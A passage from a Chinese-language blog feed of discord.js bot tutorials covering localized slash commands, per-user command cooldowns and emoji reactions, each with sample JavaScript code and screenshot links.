Romania\u003c/td\u003e\n\u003ctd\u003e罗马尼亚语(罗马尼亚)\u003c/td\u003e\n\u003ctd\u003eRomână\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003efi\u003c/td\u003e\n\u003ctd\u003eFinnish\u003c/td\u003e\n\u003ctd\u003e芬兰语\u003c/td\u003e\n\u003ctd\u003eSuomi\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003esv-SE\u003c/td\u003e\n\u003ctd\u003eSwedish\u003c/td\u003e\n\u003ctd\u003e瑞典语\u003c/td\u003e\n\u003ctd\u003eSvenska\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003evi\u003c/td\u003e\n\u003ctd\u003eVietnamese\u003c/td\u003e\n\u003ctd\u003e越南语\u003c/td\u003e\n\u003ctd\u003eTiếng Việt\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003etr\u003c/td\u003e\n\u003ctd\u003eTurkish\u003c/td\u003e\n\u003ctd\u003e土耳其语\u003c/td\u003e\n\u003ctd\u003eTürkçe\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003ecs\u003c/td\u003e\n\u003ctd\u003eCzech\u003c/td\u003e\n\u003ctd\u003e捷克语\u003c/td\u003e\n\u003ctd\u003eČeština\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eel\u003c/td\u003e\n\u003ctd\u003eGreek\u003c/td\u003e\n\u003ctd\u003e希腊语\u003c/td\u003e\n\u003ctd\u003eΕλληνικά\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003ebg\u003c/td\u003e\n\u003ctd\u003eBulgarian\u003c/td\u003e\n\u003ctd\u003e保加利亚语\u003c/td\u003e\n\u003ctd\u003eбългарски\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eru\u003c/td\u003e\n\u003ctd\u003eRussian\u003c/td\u003e\n\u003ctd\u003e俄语\u003c/td\u003e\n\u003ctd\u003ePусский\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003euk\u003c/td\u003e\n\u003ctd\u003eUkrainian\u003c/td\u003e\n\u003ctd\u003e乌克兰语\u003c/td\u003e\n\u003ctd\u003eУкраїнська\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003ehi\u003c/td\u003e\n\u003ctd\u003eHindi\u003c/td\u003e\n\u003ctd\u003e印地语\u003c/td\u003e\n\u003ctd\u003eहिन्दी\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eth\u003c/td\u003e\n\u003ctd\u003eThai\u003c/td\u003e\n\u003ctd\u003e泰语\u003c/td\u003e\n\u003ctd\u003eไทย\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003ezh-CN\u003c/td\u003e\n\u003ctd\u003eChinese, China\u003c/td\u003e\n\u003ctd\u003e简体中文\u003c/td\u003e\n\u003ctd\u003e中文\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eja\u003c/td\u003e\n\u003ctd\u003eJapanese\u003c/td\u003e\n\u003ctd\u003e日语\u003c/td\u003e\n\u003ctd\u003e日本語\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003ezh-TW\u003c/td\u003e\n\u003ctd\u003eChinese, Taiwan\u003c/td\u003e\n\u003ctd\u003e繁体中文\u003c/td\u003e\n\u003ctd\u003e繁體中文\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eko\u003c/td\u003e\n\u003ctd\u003eKorean\u003c/td\u003e\n\u003ctd\u003e韩语\u003c/td\u003e\n\u003ctd\u003e한국어\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e我们下面使用一个示例斜杠命令来解释如何为命令实现本地化。\u003c/p\u003e\n\u003cp\u003e下面我们将实现多语言回复“你好”的命令 \u003ccode\u003e/hello\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder, ButtonBuilder, ActionRowBuilder, ButtonStyle } = require('discord.js');\n\nmodule.exports = {\n data: new SlashCommandBuilder()\n .setName('hello')\n // you can set localized names in bulk\n .setNameLocalizations({\n 'en-GB': 'hello2',\n 'zh-CN': '你好',\n 'zh-TW': '你好',\n 'cs': 'ahoj',\n 'ru': 'привет',\n 'ko': '안녕하세요',\n 'es-ES': 'hola'\n })\n .setDescription('Replies with hello, but in localized response!')\n // you can set localized descriptions in bulk\n .setDescriptionLocalizations({\n 'zh-TW': '回复你好,但以本地化回复!',\n 'cs': 'Odpovědi ahoj, ale v lokalizované odpovědi!',\n 'en-GB': 'Replies with hello, but in localized response2!',\n 'es-ES': '¡Responde con hola, pero en respuesta localizada!',\n 'ko': '안녕하세요로 회신하지만 현지화된 응답으로!',\n 'zh-CN': '回复你好,但以本地化回复!',\n 'ru': 'Отвечает приветствием, но локализованным ответом!'\n })\n ,\n async execute(interaction) {\n const HelloWorldLocales = {\n 'zh-CN': '你好世界!',\n 'en-GB': 'Hello world2!',\n 'zh-TW': '你好世界!',\n 'cs': 'Ahoj světe',\n 'ko': '안녕 세상!',\n 'es-ES': '¡Hola Mundo!',\n 'ru': 'Привет, мир!',\n };\n\n const eatLocales = {\n 'en-GB': 'Eat2',\n 'zh-CN': '吃',\n 'es-ES': 'Comer'\n }\n const sleepLocales = {\n 'zh-CN': '睡觉',\n 'es-ES': 'Dormir'\n }\n\n // add two buttons that are absolutely useless\n // just a localization example\n const row = new ActionRowBuilder()\n .addComponents(\n new ButtonBuilder()\n .setCustomId(`b1`)\n .setLabel(eatLocales[interaction.locale] ?? 'Eat')\n .setStyle(ButtonStyle.Primary),\n new ButtonBuilder()\n .setCustomId(`b2`)\n .setLabel(sleepLocales[interaction.locale] ?? 'Sleep')\n .setStyle(ButtonStyle.Danger),\n );\n\n // default is English: Hello world!\n await interaction.reply({\n content: `${HelloWorldLocales[interaction.locale] ?? 'Hello world!'}, locale:(${interaction.locale}})`,\n components: [row]\n });\n },\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch3\u003e效果图\u003c/h3\u003e\n\u003ch4\u003e语言设置为 zh-CN (已完全翻译)\u003c/h4\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202304/2455224-20230410004054782-1296409362.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202304/2455224-20230410004100726-1586746703.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202304/2455224-20230410004107247-1693431343.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003ch4\u003e语言设置为 es-ES (已完全翻译)\u003c/h4\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202304/2455224-20230410004132736-805387899.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202304/2455224-20230410004137916-1397801290.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202304/2455224-20230410004148445-414270500.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003ch4\u003e语言设置为 ru (未翻译按钮)\u003c/h4\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202304/2455224-20230410004455186-775268293.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202304/2455224-20230410004503871-1561345516.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003ch4\u003e语言设置为 ja (完全未翻译)\u003c/h4\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202304/2455224-20230410004613590-2078259659.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202304/2455224-20230410004616652-516882406.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003ch3\u003e小结\u003c/h3\u003e\n\u003cp\u003e我们学习了在 discord.js 里进行本地化翻译的基本操作\u003c/p\u003e\n\u003cp\u003e原文作者闪电豹猫,原文链接https://www.cnblogs.com/hhzm/p/17301564.html 转载注明出处\u003c/p\u003e\u003chr /\u003e","url":"https://hhzm.win/posts/bot-in-discord-16/"},{"title":"Bot in Discord with discord.js (15)","time":"2023-04-09T00:00:00Z","content":"\u003ch1\u003eChapter 18 - 命令冷却时间\u003c/h1\u003e\n\u003cp\u003e本文撰写时,项目已升级至 discord.js@v14.9.0。\u003c/p\u003e\n\u003cp\u003e很多时候,我们不希望频道被单一用户用洪水般的命令消息所淹没,又或者出于对服务器性能的考虑,我们不得不为命令加上一个冷却时间(Cooldown)作为使用限制。下面我们来看看如何在我们已有的代码上进行改造,以获得命令冷却的效果。\u003c/p\u003e\n\u003ch3\u003e创建 \u003ccode\u003ecommands/longCooldownPing.js\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003e为了与原有代码兼容,我们将设计成这样:\u003ccode\u003emodule.exports\u003c/code\u003e 中,没有 \u003ccode\u003ecooldown\u003c/code\u003e 值的旧代码,将使用我们后续设置的默认冷却时间。而有该值的新代码,直接使用该值作为冷却时间。\u003c/p\u003e\n\u003cp\u003e我们创建一个拥有 15 秒 冷却时间的命令 \u003ccode\u003e/coolping\u003c/code\u003e。同一个用户在第一次成功使用命令后的 15 秒内将不被再次允许使用这项命令,除非 15 秒后,冷却时间结束。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003ecommands/longCooldownPing.js\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder } = require('discord.js');\n\nmodule.exports = {\n // 这里设置一个冷却时长,单位为秒\n cooldown: 15,\n data: new SlashCommandBuilder()\n .setName('coolping')\n .setDescription('Replies with Pong, but with a 15 secs cooldown!'),\n async execute(interaction) {\n await interaction.reply(\"Pong!\");\n // 每次都提示这个用户,他的下一次该命令将在 15 秒后可用\n await interaction.followUp({\n content: `Next /coolping will be available in 15 seconds`,\n ephemeral: true, // 必须为 true, 不然不相干的用户也将看见\n });\n },\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e现在别急着执行 \u003ccode\u003e/coolping\u003c/code\u003e,我们还没设计判断冷却时间的逻辑呢。\u003c/p\u003e\n\u003ch3\u003e修改 \u003ccode\u003eevents/interactionCreate.js\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003e我们要在执行命令前判断是否过了冷却时间,而不是之后。所以相关的判断逻辑应该在咱们 \u003ccode\u003eif (interaction.isChatInputCommand())\u003c/code\u003e 之前。\u003c/p\u003e\n\u003cp\u003e但是我们知道,一个交互(Interaction),它不一定就是个命令,它也可能是条普通消息,我们不希望在非命令上整这么个冷却时间。所以,先来个 \u003ccode\u003eif (interaction.isCommand()) { ... }\u003c/code\u003e,我们所有冷却时间逻辑都写在这里面。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eevents/interactionCreate.js\u003c/code\u003e 开头节选:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { Events } = require('discord.js');\n\nmodule.exports = {\n\tname: Events.InteractionCreate,\n\tasync execute(interaction) {\n\t\t// we only need to check cooldown on a command, not on every single interaction\n\t\tif (interaction.isCommand()) {\n\n\t\t// 这里写冷却时间判断逻辑,in constrction\n\t\t\n\t\t}\n\n\t\tif (interaction.isChatInputCommand()) {\n\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e是这么考虑的:对于第一次执行某命令的用户,我们将现在时间 \u003ccode\u003enow\u003c/code\u003e 加上该命令的冷却时间 \u003ccode\u003ecooldown\u003c/code\u003e,计算得到过期时间 \u003ccode\u003eexpirationTime\u003c/code\u003e, 即 \u003ccode\u003eexpirationTime = now + cooldown\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e接着,将用户 ID 与过期时间结合起来成为一个条目储存到与命令名相关的数据结构里,以便在这个人下一次执行相同命令时,判断确定是否过了冷却时间。为此,需要创建一个 叫 \u003ccode\u003ecooldowns\u003c/code\u003e 的 Collection,并导包 。(注意区分 \u003ccode\u003ecooldown\u003c/code\u003e 和 \u003ccode\u003ecooldowns\u003c/code\u003e)\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eevents/interactionCreate.js\u003c/code\u003e 开头节选:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { Events, Collection } = require('discord.js');\nlet cooldowns = new Collection();\nmodule.exports = {\n\tname: Events.InteractionCreate,\n\tasync execute(interaction) {\n\t\t// we only need to check cooldown on a command, not on every single interaction\n\t\tif (interaction.isCommand()) {\n\t\t\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e下面考虑实现逻辑。在 \u003ccode\u003ecooldowns\u003c/code\u003e 里存储这样的键值对:( 命令名, ( 用户ID, 过期时间 ) )。所以为每一个第一次出现的命令,往 cooldowns 里存一个键值对,key 是命令名,value 是空 Collection:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e...\n\nif (interaction.isCommand()) {\n\t// 获取命令本体\n\tconst command = await interaction.client.commands.get(interaction.commandName);\n\n\t// 如果该命令在程序生存期内第一次出现,则给他开一个 Collection\n\tif (!cooldowns.has(command.data.name)) {\n\t\tcooldowns.set(command.data.name, new Collection());\n\t}\n\t\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e做完这些准备工作后,我们继续。下面的代码挺好懂得,就是获取当前时间,获取命令里存储的 cooldown 值,加一块儿得到过期时间。如果命令没有设置 cooldown 值,则使用默认值,我们这里设置默认值为 0 秒。cooldownAmount 单位是毫秒,用于条目过期后,程序自动删除该条目的。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e...\n\nconst now = Date.now(); // get current time\nconst timestamps = await cooldowns.get(command.data.name);\nconst defaultCooldownDuration = 0; // we set a DEFAULT value for those legacy command that didn't set a cooldown\nconst cooldownAmount = (command.cooldown ?? defaultCooldownDuration) * 1000;\n\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e接着考虑用户近期(指的是该用户还有条目)非第一次执行的话,判断是否已过期:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e...\n\nif (timestamps.has(interaction.user.id)) {\n\tconst expirationTime = await timestamps.get(interaction.user.id) + cooldownAmount;\n\tif (now \u0026lt; expirationTime) {\n\t\t// 不是现在,用户你继续等吧\n\t\tconst expiredTimestamp = Math.round(expirationTime / 1000);\n\t\t// 在 Discord 里提醒下用户,还得继续等\n\t\treturn interaction.reply({\n\t\t\tcontent: `Please wait for \u0026lt;t:${expiredTimestamp}:R\u0026gt; more time before reusing the \\`${command.data.name}\\` command.`,\n\t\t\tephemeral: true // 设置 true,不然不相干的用户也能看见这条消息\n\t\t});\n\t} else {\n\t\t// 该用户的冷却时间已过去了,放行继续\n\t}\n}\n\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e我们还要考虑近期第一次执行某命令,以及关于命令冷却时间已过去的那些用户,为他们关于该命令设置“解锁时间”:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e...\n\n// add a cooldown lock\nawait timestamps.set(interaction.user.id, now);\n// wait and wait\nawait setTimeout(() =\u0026gt; timestamps.delete(interaction.user.id), cooldownAmount);\n\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e这样我们就完成了修改。下面是修改后 \u003ccode\u003eevents/interactionCreate.js\u003c/code\u003e 的内容开头节选:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { Events, Collection } = require('discord.js');\nlet cooldowns = new Collection();\nmodule.exports = {\n\tname: Events.InteractionCreate,\n\tasync execute(interaction) {\n\t\t// we only need to check cooldown on a command, not on every single interaction\n\t\tif (interaction.isCommand()) {\n\t\t\tconst command = await interaction.client.commands.get(interaction.commandName);\n\n\t\t\tif (!cooldowns.has(command.data.name)) {\n\t\t\t\tcooldowns.set(command.data.name, new Collection());\n\t\t\t}\n\n\t\t\tconst now = Date.now(); // get current time\n\t\t\tconst timestamps = await cooldowns.get(command.data.name);\n\t\t\tconst defaultCooldownDuration = 0; // we set a DEFAULT value for those legacy command that didn't set a cooldown\n\t\t\tconst cooldownAmount = (command.cooldown ?? defaultCooldownDuration) * 1000;\n\n\t\t\tif (timestamps.has(interaction.user.id)) {\n\t\t\t\tconst expirationTime = await timestamps.get(interaction.user.id) + cooldownAmount;\n\t\t\t\tif (now \u0026lt; expirationTime) {\n\t\t\t\t\t// not now, still wait\n\t\t\t\t\tconst expiredTimestamp = Math.round(expirationTime / 1000);\n\t\t\t\t\treturn interaction.reply({\n\t\t\t\t\t\tcontent: `Please wait for \u0026lt;t:${expiredTimestamp}:R\u0026gt; more time before reusing the \\`${command.data.name}\\` command.`,\n\t\t\t\t\t\tephemeral: true\n\t\t\t\t\t});\n\t\t\t\t} else {\n\t\t\t\t\t// cooldown expired for that user, proceed\n\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// add a cooldown lock\n\t\t\tawait timestamps.set(interaction.user.id, now);\n\t\t\t// wait and wait\n\t\t\tawait setTimeout(() =\u0026gt; timestamps.delete(interaction.user.id), cooldownAmount);\n\t\t}\n\t\t\n\t\tif (interaction.isChatInputCommand()) {\n\t\t// 后面我们没改过,太长了,略\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e相关 commit 可以在这里查看:\nGithub:https://github.com/wtflmao/discord_bot_example/commit/4ecb8c2cb29240776f1cb6660ea7b810dc2ff963\nGitee:https://gitee.com/wtflmao/discord_bot_example/commit/4ecb8c2cb29240776f1cb6660ea7b810dc2ff963\u003c/p\u003e\n\u003cp\u003e效果图:\n近期第一次 \u003ccode\u003e/coolping\u003c/code\u003e:\n\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202304/2455224-20230409160747347-379304443.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e4 秒后(未过冷却时间),第二次执行 \u003ccode\u003e/coolping\u003c/code\u003e:\n\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202304/2455224-20230409160751181-1126526170.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003ch3\u003e小结\u003c/h3\u003e\n\u003cp\u003e我学习了为命令设置冷却时间。\u003c/p\u003e\u003chr /\u003e","url":"https://hhzm.win/posts/bot-in-discord-15/"},{"title":"Bot in Discord with discord.js (14)","time":"2023-01-24T00:00:00Z","content":"\u003ch1\u003eChapter 17 - Reaction 反应\u003c/h1\u003e\n\u003cp\u003e反应(Reactions)是这样的一种东西:\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230124221854869-52977036.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e你可以这样为一条消息添加反应:\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230124221912227-851394996.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e不是任何消息都可以被添加反应的。比如管理员设置了成员在某些频道不允许添加反应,或者只允许某些身份组的人可以为某些消息添加反应。\u003c/p\u003e\n\u003cp\u003e这样看来,“反应” 就是一种 emoji 回复。下面我们来看看机器人如何为一条消息识别、添加和移除反应。\u003c/p\u003e\n\u003ch3\u003eDiscord Emoji 的种类\u003c/h3\u003e\n\u003cp\u003e在 Discord 里,emoji 有两类,一种是跨平台、跨软件、跨设备都通用的 Unicode 标准 emoji,还有一种是 Discord 自定义 emoji。前者属于 unicode 标准,一个表情属于一个字符,后者则不属于 unicode 标准,只限在 Discord 平台里流通。\u003c/p\u003e\n\u003cp\u003e下面我们来举个例子:\u003c/p\u003e\n\u003cp\u003e微笑 🙂 是一个 Unicode emoji,在 discord 里,它可被记为 \u003ccode\u003e:smile:\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e我们在服务器设置里上传了个自己的表情,叫 \u003ccode\u003e:WumpusMistletoe2:\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e下面就是对表情反应的示例图:\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230124222209218-1136736470.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003ch3\u003e给服务器上传一个表情符号\u003c/h3\u003e\n\u003cp\u003e假设你的服务器没有任何表情符号,如果你有,可以跳过上传这一步,直接跳到获取 id。\u003c/p\u003e\n\u003cp\u003e打开 Discord,点击一个你拥有管理员或服主身份的服务器,打开服务器设置,点击 “表情符号” 选项卡,上传一个表情符号并命名。比如我们选择了一张 Wumpus 图片上传,并命名为 “WumpusMistletoe2”。\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230124222242340-743465457.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230124222229823-1884263309.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e注意,不同服务器里的表情名字可以重复,但是它们的 id 将不会相同。当机器人使用 .find() 通过名字寻找表情时,该方法总会返回它找到的第一项,这可能与你所期望的表情不匹配。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003e获取表情 id\u003c/h3\u003e\n\u003cp\u003e相同的图片在相同的服务器里上传,也会得到不同的 id。这是因为 Discord 的 id 是 Snowflake 值。具体关于 Discord snowflake id,我在系列文章 Chapter 6 的最后介绍过,这里不重复介绍。\u003c/p\u003e\n\u003ch4\u003e方法一\u003c/h4\u003e\n\u003cp\u003e接下来回到服务器聊天区获取表情 id。\u003c/p\u003e\n\u003cp\u003e延续上一步举例的例子。在聊天框输入 \u003ccode\u003e\\:WumpusMistletoe2:\u003c/code\u003e 并回车发送,你的消息会被自动替换成表情 id。:\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230125124039064-1376380584.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e这样,我们就获取到本例中关键的 id: \u003ccode\u003e\u0026lt;:WumpusMistletoe2:1067024784057184266\u0026gt;\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e不要复制我的 id,这个 id 只在我的服务器里有效。\u003c/p\u003e\n\u003ch4\u003e方法二\u003c/h4\u003e\n\u003cp\u003e打开 PC 端浏览器,按下 \u003ccode\u003eCtrl + Shift + C\u003c/code\u003e,将鼠标指向你需要获取 id 的表情图标上,单击。\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230125124113720-849754551.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e在开发者工具中,你能看到高亮区域代码里的 alt 值是 \u003ccode\u003e:WumpusMistletoe2:\u003c/code\u003e,data-id 值是 \u003ccode\u003e1067024784057184266\u003c/code\u003e。将其用格式 \u0026lt;:alt:data-id\u0026gt; 组合一下就得到了关键的信息: \u003ccode\u003e\u0026lt;:WumpusMistletoe2:1067024784057184266\u0026gt;\u003c/code\u003e。\u003c/p\u003e\n\u003ch3\u003e向 index.js 添加关键 GatewayBitField\u003c/h3\u003e\n\u003ch1\u003e\u003cstrong\u003e这很重要!!\u003c/strong\u003e\u003c/h1\u003e\n\u003cp\u003e给 client 增加一个 \u003ccode\u003eGatewayIntentBits.GuildMessageReactions\u003c/code\u003e,这样才可以获取消息的反应。\u003c/p\u003e\n\u003cp\u003e修改后的那一行如下:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e...\nconst client = new Client({ intents: [GatewayIntentBits.Guilds, GatewayIntentBits.GuildMessages, GatewayIntentBits.MessageContent, GatewayIntentBits.GuildMessageReactions] });\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e具体的 commit:\nGithub: https://github.com/wtflmao/discord_bot_example/commit/dfbad3ca953e2ca25ac4673fbcea3a549eff9c77\nGitee: https://gitee.com/wtflmao/discord_bot_example/commit/dfbad3ca953e2ca25ac4673fbcea3a549eff9c77\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eP.S. 这里我们在 index.js 只使用一个 Client 实例并赋予所有可能用到的 Intents,后续交互复用这个实例,其实是一种偷懒且具有潜在风险的做法。建议不要学我这么做。但是我们的代码已经都这样了,何况我只是以学习为目的的写这个项目,没打算直接上生产环境,那就让它维持现在这样的屎山状态吧哈哈。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003e回复表情\u003c/h3\u003e\n\u003cp\u003e下面修改文件 \u003ccode\u003e/cmdPaths.js\u003c/code\u003e,在 data 域里加入新的一条 \"./commands/reactions\"。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003emodule.exports = {\n data: [\"./commands\", \"./commands/utils\", \"./commands/buttons\", \"./commands/menus\", \"./commands/modals\", \"./commands/contextMenus\", \"./commands/embeds\", \"./commands/reactions\"],\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e新建文件 \u003ccode\u003e/commands/reactions/reaction.js\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder} = require('discord.js');\n\nmodule.exports = {\n data: new SlashCommandBuilder()\n .setName('react')\n .setDescription('Replies with reaction!'),\n async execute(interaction) {\n\n const message = await interaction.reply({ content: 'You can react with Unicode emojis!', fetchReply: true });\n await message.react('😄');\n\n const message2 = await interaction.followUp({ content: \"Here's a custom emoji!\", fetchReply: true });\n await message2.react('\u0026lt;:WumpusMistletoe2:1067024784057184266\u0026gt;');\n },\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e运行 /react,得到结果:\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230124222348664-314695206.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e.react() 还支持多种不同格式的传入值,比如\nmeaasge.react(\"\u0026lt;:WumpusMistletoe2:1067024784057184266\u0026gt;\");\nmeaasge.react(\"\u0026lt;a:WumpusMistletoe2:1067024784057184266\u0026gt;\");\nmeaasge.react(\"a:WumpusMistletoe2:1067024784057184266\");\nmeaasge.react(\"WumpusMistletoe2:1067024784057184266\");\nmeaasge.react(\"1067024784057184266\");\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e下面我们使用 \u003ccode\u003e.find()\u003c/code\u003e 来用表情名称寻找一个表情。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e...\n const message3 = await interaction.followUp({ content: \"Here we grab an emoji by its name\", fetchReply: true });\n await message3.react(message3.guild.emojis.cache.find(emoji =\u0026gt; emoji.name === 'WumpusMistletoe2'));\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e效果图:\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230124222404785-1141340977.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e下面我们使用 \u003ccode\u003e.get()\u003c/code\u003e 来用纯数字 id 指定一个表情。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e...\n const message4 = await interaction.followUp({ content: \"Here we grab an emoji by its id\", fetchReply: true });\n // Emoji must be a string or GuildEmoji/ReactionEmoji\n await message4.react(interaction.client.emojis.cache.get('1067024784057184266'));\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e效果图:\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230124222416426-220121391.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e我们得到了 \u003ccode\u003ecommands/reactions/reaction.js\u003c/code\u003e 的完整代码:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder} = require('discord.js');\n\nmodule.exports = {\n data: new SlashCommandBuilder()\n .setName('react')\n .setDescription('Replies with reaction!'),\n async execute(interaction) {\n\n const message = await interaction.reply({ content: 'You can react with Unicode emojis!', fetchReply: true });\n await message.react('😄');\n\n const message2 = await interaction.followUp({ content: \"Here's a custom emoji!\", fetchReply: true });\n await message2.react('\u0026lt;:WumpusMistletoe2:1067024784057184266\u0026gt;');\n\n const message3 = await interaction.followUp({ content: \"Here we grab an emoji by its name\", fetchReply: true });\n await message3.react(message3.guild.emojis.cache.find(emoji =\u0026gt; emoji.name === 'WumpusMistletoe2'));\n\n const message4 = await interaction.followUp({ content: \"Here we grab an emoji by its id\", fetchReply: true });\n // Emoji must be a string or GuildEmoji/ReactionEmoji\n await message4.react(interaction.client.emojis.cache.get('1067024784057184266'));\n },\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch3\u003e多表情的按顺序逐个反应\u003c/h3\u003e\n\u003cp\u003e用 \u003ccode\u003ecommands/reactions/multiReactions.js\u003c/code\u003e 来举例:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder} = require('discord.js');\n\nmodule.exports = {\n data: new SlashCommandBuilder()\n .setName('multireact')\n .setDescription('Replies with reaction!'),\n 